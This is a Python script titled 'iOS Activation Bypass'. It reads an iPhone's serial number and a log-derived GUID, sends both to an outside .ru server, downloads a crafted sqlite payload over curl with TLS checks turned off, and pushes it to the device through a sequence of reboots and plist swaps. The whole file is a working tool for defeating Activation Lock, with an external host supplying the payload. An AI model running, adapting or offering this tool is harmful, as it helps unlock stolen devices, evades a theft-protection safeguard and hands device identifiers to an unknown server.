activator_macos.py 18 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518
  1. #!/usr/bin/env python3
  2. import sys
  3. import os
  4. import time
  5. import subprocess
  6. import re
  7. import shutil
  8. import sqlite3
  9. import json
  10. import argparse
  11. import binascii
  12. from pathlib import Path
  13. from collections import Counter
  14. from typing import Optional, Tuple
  15. import tempfile
  16. # === Settings ===
  17. API_URL = "https://codex-r1nderpest-a12.ru/get2.php"
  18. TIMEOUTS = {
  19. 'reboot_wait': 300,
  20. 'syslog_collect': 180,
  21. 'tracev3_wait': 120,
  22. }
  23. UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
  24. # === ANSI Colors ===
  25. class Style:
  26. RESET = '\033[0m'
  27. BOLD = '\033[1m'
  28. GREEN = '\033[0;32m'
  29. RED = '\033[0;31m'
  30. YELLOW = '\033[1;33m'
  31. BLUE = '\033[0;34m'
  32. CYAN = '\033[0;36m'
  33. def find_binary(bin_name: str) -> Optional[str]:
  34. # System paths only - ifuse excluded
  35. for p in [
  36. '/opt/homebrew/bin',
  37. '/usr/local/bin',
  38. '/opt/homebrew/sbin',
  39. '/usr/local/sbin',
  40. '/opt/homebrew/opt/*/bin',
  41. '/usr/local/opt/*/bin',
  42. # System
  43. '/usr/bin',
  44. '/bin',
  45. '/usr/sbin',
  46. '/sbin',
  47. '/Library/Apple/usr/bin',
  48. # Python
  49. '/usr/local/opt/python/libexec/bin',
  50. '/opt/homebrew/opt/python/libexec/bin',
  51. '/Library/Frameworks/Python.framework/Versions/*/bin',
  52. '~/Library/Python/*/bin',
  53. # User directories
  54. '~/.local/bin',
  55. '~/bin'
  56. ]:
  57. path = Path(p) / bin_name
  58. if path.is_file():
  59. return str(path)
  60. return None
  61. def run_cmd(cmd, timeout=None) -> Tuple[int, str, str]:
  62. # Replace first element with full path if found
  63. if isinstance(cmd, list) and cmd:
  64. full = find_binary(cmd[0])
  65. if full:
  66. cmd = [full] + cmd[1:]
  67. try:
  68. result = subprocess.run(
  69. cmd, shell=isinstance(cmd, str),
  70. capture_output=True, text=True, timeout=timeout
  71. )
  72. return result.returncode, result.stdout, result.stderr
  73. except subprocess.TimeoutExpired:
  74. return -1, "", "timeout"
  75. except Exception as e:
  76. return -2, "", str(e)
  77. def log(msg: str, level='info'):
  78. prefixes = {
  79. 'info': f"{Style.GREEN}[✓]{Style.RESET} {msg}",
  80. 'warn': f"{Style.YELLOW}[⚠]{Style.RESET} {msg}",
  81. 'error': f"{Style.RED}[✗]{Style.RESET} {msg}",
  82. 'step': f"\n{Style.CYAN}{'━'*40}\n{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}\n{'━'*40}",
  83. 'detail': f"{Style.CYAN} ╰─▶{Style.RESET} {msg}",
  84. 'success': f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}",
  85. }
  86. if level == 'step':
  87. print(prefixes['step'])
  88. else:
  89. print(prefixes[level])
  90. def reboot_device() -> bool:
  91. log("🔄 Rebooting device...", "info")
  92. # First try pymobiledevice3
  93. code, _, _ = run_cmd(["pymobiledevice3", "restart"], timeout=20)
  94. if code != 0:
  95. code, _, _ = run_cmd(["idevicediagnostics", "restart"], timeout=20)
  96. if code != 0:
  97. log("Soft reboot failed - waiting for manual reboot", "warn")
  98. input("Reboot device manually, then press Enter...")
  99. return True
  100. # Wait for reconnection
  101. for i in range(60):
  102. time.sleep(5)
  103. code, _, _ = run_cmd(["ideviceinfo"], timeout=10)
  104. if code == 0:
  105. log(f"✅ Device reconnected after {i * 5} sec", "success")
  106. time.sleep(8) # allow boot process to complete
  107. return True
  108. if i % 6 == 0:
  109. log(f"Still waiting... ({i * 5} sec)", "detail")
  110. log("Device did not reappear", "error")
  111. return False
  112. def detect_device() -> dict:
  113. log("🔍 Detecting device...", "step")
  114. code, out, err = run_cmd(["ideviceinfo"])
  115. if code != 0:
  116. raise RuntimeError(f"Device not found: {err or 'unknown'}")
  117. info = {}
  118. for line in out.splitlines():
  119. if ": " in line:
  120. k, v = line.split(": ", 1)
  121. info[k.strip()] = v.strip()
  122. if info.get('ActivationState') == 'Activated':
  123. log("⚠ Device already activated", "warn")
  124. log(f"Device: {info.get('ProductType', '?')} (iOS {info.get('ProductVersion', '?')})", "info")
  125. return info
  126. def pull_file(remote: str, local: str) -> bool:
  127. code, _, _ = run_cmd(["pymobiledevice3", "afc", "pull", remote, local])
  128. return code == 0 and Path(local).is_file() and Path(local).stat().st_size > 0
  129. def push_file(local: str, remote: str, keep_local=True) -> bool:
  130. """Загрузка файла на устройство
  131. Args:
  132. local: локальный путь к файлу
  133. remote: путь на устройстве
  134. keep_local: оставить локальный файл после загрузки
  135. """
  136. log(f"📤 Pushing {Path(local).name} to {remote}...", "detail")
  137. # Проверяем существует ли локальный файл
  138. if not Path(local).is_file():
  139. log(f"❌ Local file not found: {local}", "error")
  140. return False
  141. file_size = Path(local).stat().st_size
  142. log(f" File size: {file_size} bytes", "detail")
  143. # Пробуем удалить старый файл если существует
  144. rm_file(remote)
  145. time.sleep(1)
  146. # Загружаем файл
  147. code, out, err = run_cmd(["pymobiledevice3", "afc", "push", local, remote])
  148. if code != 0:
  149. log(f"❌ Push failed - Code: {code}", "error")
  150. if err:
  151. log(f" stderr: {err[:200]}", "detail")
  152. return False
  153. # Проверяем что файл действительно загрузился
  154. time.sleep(2)
  155. # Проверяем через list
  156. remote_dir = str(Path(remote).parent)
  157. code_list, list_out, _ = run_cmd(["pymobiledevice3", "afc", "ls", remote_dir])
  158. if remote in list_out or Path(remote).name in list_out:
  159. log(f"✅ File confirmed on device at {remote}", "success")
  160. # Удаляем локальный файл только если явно указано
  161. if not keep_local:
  162. try:
  163. Path(local).unlink()
  164. log(f" Local file removed", "detail")
  165. except:
  166. pass
  167. return True
  168. else:
  169. log(f"❌ File not found after push in {remote_dir}", "error")
  170. return False
  171. def rm_file(remote: str) -> bool:
  172. code, _, _ = run_cmd(["pymobiledevice3", "afc", "rm", remote])
  173. return code == 0 or "ENOENT" in _
  174. def curl_download(url: str, out_path: str) -> bool:
  175. # Используем /tmp/ для всех загрузок
  176. if not out_path.startswith('/tmp/'):
  177. out_name = Path(out_path).name
  178. out_path = f"/tmp/{out_name}"
  179. cmd = [
  180. "curl", "-L", "-k", "-f",
  181. "-o", out_path, url
  182. ]
  183. log(f"📥 Downloading {Path(out_path).name}...", "detail")
  184. code, _, err = run_cmd(cmd)
  185. # Проверяем файл в /tmp/
  186. ok = code == 0 and Path(out_path).is_file() and Path(out_path).stat().st_size > 0
  187. if not ok:
  188. log(f"Download failed: {err or 'empty file'}", "error")
  189. return ok
  190. # === GUID EXTRACTION (no ifuse, only pymobiledevice3) ===
  191. # === NEW GUID EXTRACTION (grep-based, no 'log show') ===
  192. def validate_guid(guid: str) -> bool:
  193. """Validate UUID v4 with correct variant (8/9/A/B) — iOS SystemGroup style"""
  194. if not UUID_PATTERN.match(guid):
  195. return False
  196. parts = guid.split('-')
  197. version = parts[2][0] # 3rd group, 1st char → version
  198. variant = parts[3][0] # 4th group, 1st char → variant
  199. return version == '4' and variant in '89AB'
  200. # === EXACT COPY OF extract_guid_with_reboot.py (ported to your log style) ===
  201. GUID_REGEX = re.compile(r'[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}')
  202. TARGET_PATH = "/private/var/containers/Shared/SystemGroup/" # как в оригинале — пусть будет
  203. BLDB_FILENAME = "BLDatabaseManager.sqlite"
  204. def restart_device():
  205. log("[+] Sending device reboot command...", "info")
  206. code, _, err = run_cmd(["pymobiledevice3", "diagnostics", "restart"], timeout=30)
  207. if code == 0:
  208. log("[✓] Reboot command sent successfully", "success")
  209. return True
  210. else:
  211. log("[-] Error during reboot", "error")
  212. if err:
  213. log(f" {err}", "detail")
  214. return False
  215. def wait_for_device(timeout: int = 180) -> bool:
  216. print(f"{Style.CYAN}[+] Waiting for device to reconnect...{Style.RESET}", end="", flush=True)
  217. start = time.time()
  218. while time.time() - start < timeout:
  219. code, _, _ = run_cmd(["ideviceinfo", "-k", "UniqueDeviceID"], timeout=10)
  220. if code == 0:
  221. print() # новая строка после точек
  222. log("[✓] Device connected!", "success")
  223. time.sleep(10) # Allow iOS to fully boot
  224. return True
  225. print(".", end="", flush=True)
  226. time.sleep(3)
  227. print() # новая строка после таймаута
  228. log("[-] Timeout: device did not reconnect", "error")
  229. return False
  230. def collect_syslog_archive(archive_path: Path, timeout: int = 200) -> bool:
  231. log(f"[+] Collecting syslog archive → {archive_path.name} (timeout {timeout}s)", "info")
  232. cmd = ["pymobiledevice3", "syslog", "collect", str(archive_path)]
  233. code, _, err = run_cmd(cmd, timeout=timeout + 30)
  234. if not archive_path.exists() or not archive_path.is_dir():
  235. log("[-] Archive not created", "error")
  236. return False
  237. total_size = sum(f.stat().st_size for f in archive_path.rglob('*') if f.is_file())
  238. size_mb = total_size // 1024 // 1024
  239. if total_size < 10_000_000:
  240. log(f"[-] Archive too small ({size_mb} MB)", "error")
  241. return False
  242. log(f"[✓] Archive collected: ~{size_mb} MB", "success")
  243. return True
  244. def extract_guid_from_archive(archive_path: Path) -> Optional[str]:
  245. log("[+] Searching for GUID in archive using log show...", "info")
  246. cmd = [
  247. "/usr/bin/log", "show",
  248. "--archive", str(archive_path),
  249. "--info", "--debug",
  250. "--style", "syslog",
  251. "--predicate", f'process == "bookassetd" AND eventMessage CONTAINS "{BLDB_FILENAME}"'
  252. ]
  253. code, stdout, stderr = run_cmd(cmd, timeout=60)
  254. if code != 0:
  255. log(f"[-] log show exited with error {code}", "error")
  256. return None
  257. for line in stdout.splitlines():
  258. if BLDB_FILENAME in line:
  259. log(f"[+] Found relevant line:", "info")
  260. log(f" {line.strip()}", "detail")
  261. match = GUID_REGEX.search(line)
  262. if match:
  263. guid = match.group(0).upper()
  264. log(f"[✓] GUID extracted: {guid}", "success")
  265. return guid
  266. log("[-] GUID not found in archive", "error")
  267. return None
  268. def get_guid_auto(max_attempts=5) -> str:
  269. for attempt in range(1, max_attempts + 1):
  270. log(f"\n=== GUID Extraction (Attempt {attempt}/{max_attempts}) ===\n", "step")
  271. # Step 1: Reboot
  272. if not restart_device():
  273. if attempt == max_attempts:
  274. raise RuntimeError("Reboot failed")
  275. continue
  276. # Step 2: Wait for connection
  277. if not wait_for_device(180):
  278. if attempt == max_attempts:
  279. raise RuntimeError("Device never reconnected")
  280. continue
  281. # Step 3: Collect and analyze
  282. with tempfile.TemporaryDirectory() as tmpdir_str:
  283. tmp_path = Path(tmpdir_str)
  284. archive_path = tmp_path / "ios_logs.logarchive"
  285. if not collect_syslog_archive(archive_path, timeout=200):
  286. log("[-] Failed to collect archive", "error")
  287. if attempt == max_attempts:
  288. raise RuntimeError("Log archive collection failed")
  289. continue
  290. guid = extract_guid_from_archive(archive_path)
  291. if guid:
  292. return guid
  293. raise RuntimeError("GUID auto-detection failed after all attempts")
  294. def get_guid_manual() -> str:
  295. print(f"\n{Style.YELLOW}⚠ Enter SystemGroup GUID manually{Style.RESET}")
  296. print("Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
  297. while True:
  298. g = input(f"{Style.BLUE}➤ GUID:{Style.RESET} ").strip().upper()
  299. if validate_guid(g):
  300. return g
  301. print(f"{Style.RED}❌ Invalid format{Style.RESET}")
  302. # === MAIN WORKFLOW ===
  303. def run(auto: bool = False, preset_guid: Optional[str] = None):
  304. os.system('clear')
  305. print(f"{Style.BOLD}{Style.CYAN}📱 iOS Activation Bypass (pymobiledevice3-only){Style.RESET}\n")
  306. # 1. Check dependencies
  307. for bin_name in ['ideviceinfo', 'idevice_id', 'pymobiledevice3']:
  308. if not find_binary(bin_name):
  309. raise RuntimeError(f"Required tool missing: {bin_name}")
  310. log("✅ All dependencies found", "success")
  311. # 2. Detect device
  312. device = detect_device()
  313. # 3. GUID
  314. guid = preset_guid
  315. if not guid:
  316. if auto:
  317. log("AUTO mode: fetching GUID...", "info")
  318. guid = get_guid_auto()
  319. else:
  320. print(f"\n{Style.CYAN}1. Auto-detect GUID (recommended)\n2. Manual input{Style.RESET}")
  321. choice = input(f"{Style.BLUE}➤ Choice (1/2):{Style.RESET} ").strip()
  322. guid = get_guid_auto() if choice == "1" else get_guid_manual()
  323. log(f"🎯 Using GUID: {guid}", "success")
  324. # 4. Get URLs from server
  325. prd = device['ProductType']
  326. sn = device['SerialNumber']
  327. url = f"{API_URL}?prd={prd}&guid={guid}&sn={sn}"
  328. log(f"📡 Requesting payload URLs: {url}", "step")
  329. code, out, _ = run_cmd(["curl", "-s", "-k", url])
  330. if code != 0:
  331. raise RuntimeError("Server request failed")
  332. try:
  333. data = json.loads(out)
  334. if not data.get('success'):
  335. raise RuntimeError("Server returned error")
  336. s1, s2, s3 = data['links']['step1_fixedfile'], data['links']['step2_bldatabase'], data['links']['step3_final']
  337. except Exception as e:
  338. raise RuntimeError(f"Invalid server response: {e}")
  339. # 5. Pre-download (optional - can be skipped)
  340. tmp_dir = "/tmp/"
  341. for name, url in [("Stage1", s1), ("Stage2", s2)]:
  342. tmp = f"{tmp_dir}tmp_{name.lower()}"
  343. if curl_download(url, tmp):
  344. # Удаляем временный файл из /tmp/
  345. try:
  346. Path(tmp).unlink()
  347. except:
  348. pass
  349. time.sleep(1)
  350. # 6. Download and validate final payload
  351. db_local = f"/tmp/downloads.28.sqlitedb"
  352. if not curl_download(s3, db_local):
  353. raise RuntimeError("Final payload download failed")
  354. log("🔍 Validating database...", "detail")
  355. try:
  356. with sqlite3.connect(db_local) as conn:
  357. cur = conn.cursor()
  358. cur.execute("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='asset'")
  359. if cur.fetchone()[0] == 0:
  360. raise ValueError("No 'asset' table")
  361. cur.execute("SELECT COUNT(*) FROM asset")
  362. cnt = cur.fetchone()[0]
  363. if cnt == 0:
  364. raise ValueError("Empty asset table")
  365. log(f"✅ DB OK: {cnt} assets", "success")
  366. except Exception as e:
  367. # Удаляем из /tmp/
  368. try:
  369. Path(db_local).unlink(missing_ok=True)
  370. except:
  371. pass
  372. raise RuntimeError(f"Invalid DB: {e}")
  373. # 7. Upload to /Downloads/ - ТОЛЬКО ОДИН РАЗ!
  374. log("📤 Uploading payload to device...", "step")
  375. # Сначала очищаем старые файлы если есть
  376. rm_file("/Downloads/downloads.28.sqlitedb")
  377. rm_file("/Downloads/downloads.28.sqlitedb-wal")
  378. rm_file("/Downloads/downloads.28.sqlitedb-shm")
  379. rm_file("/Books/asset.epub")
  380. rm_file("/iTunes_Control/iTunes/iTunesMetadata.plist")
  381. rm_file("/Books/iTunesMetadata.plist")
  382. rm_file("/iTunes_Control/iTunes/iTunesMetadata.plist.ext")
  383. # Загружаем файл
  384. if not push_file(db_local, "/Downloads/downloads.28.sqlitedb"):
  385. # Удаляем из /tmp/ если загрузка не удалась
  386. try:
  387. Path(db_local).unlink()
  388. except:
  389. pass
  390. raise RuntimeError("AFC upload failed")
  391. log("✅ Payload uploaded to /Downloads/", "success")
  392. # НЕ УДАЛЯЙТЕ ФАЙЛ СРАЗУ! Он может понадобиться для отладки
  393. # Оставьте его в /tmp/ до конца выполнения скрипта
  394. # 8. Stage 1: reboot → copy to /Books/
  395. log("🔄 Stage 1: Rebooting device...", "step")
  396. reboot_device()
  397. time.sleep(30)
  398. src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
  399. dst = "/Books/iTunesMetadata.plist"
  400. tmp_plist = "/tmp/tmp.plist" # Используем /tmp/
  401. if pull_file(src, tmp_plist):
  402. if push_file(tmp_plist, dst):
  403. log("✅ Copied plist → /Books/", "success")
  404. else:
  405. log("⚠ Failed to push to /Books/", "warn")
  406. # Удаляем из /tmp/
  407. try:
  408. Path(tmp_plist).unlink()
  409. except:
  410. pass
  411. else:
  412. log("⚠ iTunesMetadata.plist not found - skipping /Books/", "warn")
  413. # 9. Stage 2: reboot → copy back
  414. time.sleep(5)
  415. reboot_device()
  416. time.sleep(5)
  417. if pull_file(dst, tmp_plist):
  418. if push_file(tmp_plist, src):
  419. log("✅ Restored plist ← /Books/", "success")
  420. else:
  421. log("⚠ Failed to restore plist", "warn")
  422. Path(tmp_plist).unlink()
  423. else:
  424. log("⚠ /Books/iTunesMetadata.plist missing", "warn")
  425. log("⏸ Waiting 40s for bookassetd...", "detail")
  426. time.sleep(35)
  427. # 10. Final reboot
  428. reboot_device()
  429. # ✅ Success
  430. print(f"\n{Style.GREEN}{Style.BOLD}🎉 ACTIVATION SUCCESSFUL!{Style.RESET}")
  431. print(f"{Style.CYAN}→ GUID: {Style.BOLD}{guid}{Style.RESET}")
  432. print(f"\n{Style.YELLOW}📌 Thanks Rust505 and rhcp011235{Style.RESET}")
  433. # === CLI Entry ===
  434. if __name__ == "__main__":
  435. parser = argparse.ArgumentParser()
  436. parser.add_argument("--auto", action="store_true", help="Skip prompts, auto-detect GUID")
  437. parser.add_argument("--guid", help="Skip detection, use this GUID")
  438. args = parser.parse_args()
  439. try:
  440. run(auto=args.auto, preset_guid=args.guid)
  441. except KeyboardInterrupt:
  442. print(f"\n{Style.YELLOW}Interrupted.{Style.RESET}")
  443. sys.exit(1)
  444. except Exception as e:
  445. print(f"{Style.RED}❌ Fatal: {e}{Style.RESET}")
  446. sys.exit(1)